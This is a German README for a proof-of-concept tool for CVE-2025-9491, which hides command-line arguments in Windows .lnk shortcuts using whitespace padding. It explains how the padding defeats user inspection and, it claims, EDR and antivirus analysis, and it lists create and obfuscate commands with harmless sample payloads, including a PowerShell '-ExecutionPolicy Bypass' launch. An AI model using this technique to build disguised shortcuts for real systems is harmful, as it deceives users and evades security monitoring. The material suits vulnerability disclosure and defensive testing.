
Proof-of-Concept der CVE-2025-9491 mithilfe unsichtbarer Zeichen in den Argumenten einer Windows-Verknüpfungsdatei (.lnk)
Ein Proof-of-Concept-Werkzeug zur Demonstration der Windows-Verknüpfungsdatei (LNK) Schwachstelle (ZDI-CAN-25373/CVE-2025-9491). Dieses Tool zeigt, wie bösartige Befehlszeilenargumente durch das Einfügen von Leerzeichen-Padding in .lnk-Dateien versteckt werden können.
**Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für deren Test Sie ausdrückliche Erlaubnis haben.
Dies ist ein Proof-of-Concept-Werkzeug zum Erstellen und Manipulieren von Windows .lnk-Verknüpfungen, um die Schwachstelle CVE-2025-9491 zu demonstrieren. Das Tool ermöglicht Folgendes:
Die Schwachstelle nutzt aus, wie Windows Eigenschaften von Verknüpfungen anzeigt, sodass Angreifer bösartige Befehlszeilenargumente vor Benutzern verbergen können, die die Verknüpfung überprüfen.
CVE-2025-9491 ist eine Windows-Benutzeroberflächen-Fehlinterpretations-Schwachstelle, die .lnk-Verknüpfungen betrifft. Sie wurde von Trend Micros Zero Day Initiative (ZDI-CAN-25373) entdeckt und wird seit mindestens 2017 von staatlich unterstützten APT-Gruppen ausgenutzt (siehe Danksagungen für weitere Details).
Die Schwachstelle nutzt das Feld "Ziel" mit fester Größe in der Windows-Verknüpfungs-Benutzeroberfläche aus. Durch Auffüllen der Argumente mit Leerzeichen (Leerzeichen, Tabulator, Zeilenvorschub, Wagenrücklauf) kann ein Angreifer bösartige Befehle verstecken und versteckte Payloads ausführen. Dies kann auch zur Umgehung von Erkennung genutzt werden, da Benutzer, die die Verknüpfung überprüfen, nur das aufgefüllte Leerzeichen sehen, nicht den eigentlichen Befehl. EDR-Systeme erhalten eine extrem lange Befehlszeile in der Telemetrie, und wenn sie lang genug ist, geben gängige EPP- oder AV-Lösungen die vollständige Analyse auf.
Python 3.7 oder höher ist erforderlich.
Repository klonen oder herunterladen:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Abhängigkeiten installieren:
Schnelle und einfache Methode, venv wird bevorzugt.
pip install -r requirements.txt
Tool ausführen:
python main.py --help
Das Tool hat drei Hauptmodi: create, obfuscate und parse.
Erstellt eine neue verschleierte LNK-Datei von Grund auf.
Syntax:
python main.py create -t ZIEL -a ARGUMENTE -o AUSGABE [optionen]
Erforderliche Argumente:
-t, --target - Pfad zur ausführbaren Zieldatei-a, --arguments - Argumente, die an die ausführbare Zieldatei übergeben werden-o, --output - Ausgabeziel der LNK-DateiOptionale Argumente:
-c, --charset - Benutzerdefinierter Zeichensatz für Padding (HEX-Format)
20,09,0A,0B,0C,0D (Leerzeichen, Tabulator, LF, VT, FF, CR)-s, --padding_size - Anzahl der Padding-Zeichen
128 (keine bekannte Begrenzung)-p, --pattern_type - Padding-Muster-Stil
-i, --icon - Pfad zu einem benutzerdefinierten Symbol für die Verknüpfung
-d, --description - Sichtbare Beschreibung für die Verknüpfung
-v, --verbose - Aktiviert ausführliche Ausgabe
Beispiel:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
Fügt Padding zu den Argumenten einer vorhandenen LNK-Datei hinzu.
Syntax:
python main.py obfuscate -i EINGABE -o AUSGABE [optionen]
Erforderliche Argumente:
-i, --input - Pfad zur vorhandenen LNK-Datei, die verschleiert werden soll-o, --output - Ausgabeziel der LNK-DateiOptionale Argumente:
-c, --charset - Benutzerdefinierter Zeichensatz für Padding (HEX-Format)
20,09,0A,0B,0C,0D-s, --padding_size - Anzahl der Padding-Zeichen
128-p, --pattern_type - Padding-Muster-Stil
-v, --verbose - Aktiviert ausführliche Ausgabe
Beispiel:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
Zeigt den Inhalt einer vorhandenen LNK-Datei an.
Syntax:
python main.py parse -i EINGABE
Erforderliche Argumente:
-i, --input - Pfad zur LNK-Datei, die analysiert und angezeigt werden sollBeispiel:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
Dies erstellt eine Verknüpfung zu cmd.exe mit einem versteckten PowerShell-Befehl, dem 200 zufällige Padding-Zeichen vorangestellt sind.
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
Dies fügt einer vorhandenen Verknüpfung 512 Zeichen Monomuster-Padding (unter Verwendung von Leerzeichen und Tabulator) hinzu.
python main.py parse -i "suspicious.lnk"
Die Ausgabe zeigt alle Eigenschaften einschließlich versteckter Argumente.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "Mein Dokument"